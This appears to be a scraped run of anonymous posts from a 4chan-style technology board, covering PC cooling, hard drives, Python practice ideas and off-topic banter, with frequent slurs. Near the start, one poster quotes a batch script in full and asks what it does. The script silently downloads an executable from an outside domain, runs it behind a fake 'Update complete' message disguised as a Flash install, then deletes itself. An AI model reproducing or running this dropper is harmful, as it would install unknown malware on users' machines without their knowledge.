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Open it an a fucking text editor, retard.

Please anon don't be this retarded don't set a standard

>>55706937
Well then explain what it does

@echo off
echo a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\1eb50823ee917ba6651ef6f1ca977bcb.exe';(New-Object System.Net.WebClient).DownloadFile('https: // eeteeinsightsoft . org/17/524.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false); >"%temp%\install_flash.js"
start /min "" wscript.exe "%temp%\install_flash.js"
DEL "%~f0

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Because Wozniak was lead away from the path of light

There is though

Because they're real and people who make real things know about the real world and know your meme libre dream is stupid.

cant even run crysis on medium settings

>>55706789
Those 40mm fans in those server cases blow a shit ton of air and sound like jet engines because of that. They are usually enough to cool GPUs and such. Even nvidia's dual GPU tesla has a passive heatsink and some cutouts on the side so that the case fans can bloe directly to the heatsink.

using open air coolers packed that close together is asking for a housefire. get some passive coolers and make sure the case has good fans instead.

>>55706565
The Apple MacBook Pro with Retina Display doesn't have this problem.

>>55706660
thanks /b/tard

go into bios and disable the card... also uninstall the driver

>>55706512
wow, a rep from a company went to /g/ first of all places, for a service we consider botnet in a category we normally don't use, ie online storage

good job OP

Any help with that? We need a secure folder that is structured down to many levels, all accessible, yet undeletable for any user, except for the main owner. All users should be able to upload freely.

>>55706533
It won't be a massive undertake, and it's not like we're storing bank account info, it's only photos and powerpoint files. We need something lay users (members from our group and some older people not too computar-savvy) can easily access.

The Apple MacBook Pro with Retina Display doesn't have this problem.

A Norton subscription will solve your problems, friend

Common Sense 2017

>>55706339
Because I only built it about a month ago and there's no point.

>>55706339
There's no dust inside, thanks to filters and positive airflow.

>no dust inside computer
>6 fans
>no overclocking
>AC in room
>live in basement
>no heater next to me anywhere
>CPU idles at 50, GPU at 60

kill me. i live in NYC too.

it's seagate, they're back!

well sir, seagate never really left, they've always offered the same quality storage options at competitive prices.

>>55706302
>Seagate
>10TB HDD crash

>>55706302
Yes, if they were selling it for a cost-effective price - rather than more expensive than some suppliers will do the much, much better HGST UltraStar He10.

It is not the sweet spot.

For home use which involves hoarding large files and not really overwriting or updating them much, actually that is one of the things the SMR Archive drives would in fact be suitable for, and those are much, much more cost-effective.

>>55706254
Whats a nice easy script I could make to help me learn python?

>>55706290
FizzBuzz

>>55706290
or pong or tetris or a turtle interpreter

Get an Nvidia motherboard and a Nvidia CPU

>>55706309

Don't forget that Intel gpu.

>>55706086
>regedit didn't work
you're not doing it right then

>>55706086

If you can't even google you don't belong here.

>>55706128
probably not. The tutorial said "add a - before that code thing" i did and the menus were still there.

>>55706140
oh i did google. I just said it didn't work for me. I figured someone could give me a fast and actually useful solution instead of trying the methods from 4 different blogs until one works

>>55706289
16 doors and 4 rooms

>>55706289
There are 16 doors and 6 rooms.

>>55706035
>Stallman doesn't know about eulerian paths
AYYYYYYYYYYYYYYYYYYYYYYYYY

>>55705940
>windows 10
Delete your thread, install gentoo, and make it over again.

>>55705957
K b0ss, Ill just simply run gentoo.exe and my amAzing OS will be there waiting 4 me! right?

sage o wait

>>55705920
How does one ruin a company or horribly?

>>55705932
By having no clear vision of what the company should be, and making talented people leave by being a cunt to them.

>>>>>>>>>>>>>>>>women in tech

>>55705886

id say even more, internet has infected every faucet of life. Data travels at the speed of light now. It shrunk the world smaller then a car ever could.

Speaking at a physical level you could compare the two.

Automobiles greatly sped the transfer of aggregate energy between actors which allowed for larger structures than ever before. In this case the money would flow inversely as energy in the opposite direction. Really it was a simple and predictable change, yet effective.

The internet had no such direct on these hierarchies immediately. Instead it acted as an agitator to induce change via the spread of information. This spread in my opinion has the ability to facilitate much more change for a couple of reasons: first the amount of money required is not proportional to the amount of information retrieved. Someone at a free public library could access the same information (generally) as a billionaire. Second, this spread is faster because the information resources are available to all immediately upon creation.

One could argue that the Internet could not have occurred without the advent of the automobile but that is inconsequential.

Obviously this sort of analysis is too complicated to perfect for a 4chan post but I think I can plainly say that the Internet is more important at a higher level of abstraction while automobiles are much more important at a lower level of abstraction.

>>55705886

That's some dense ice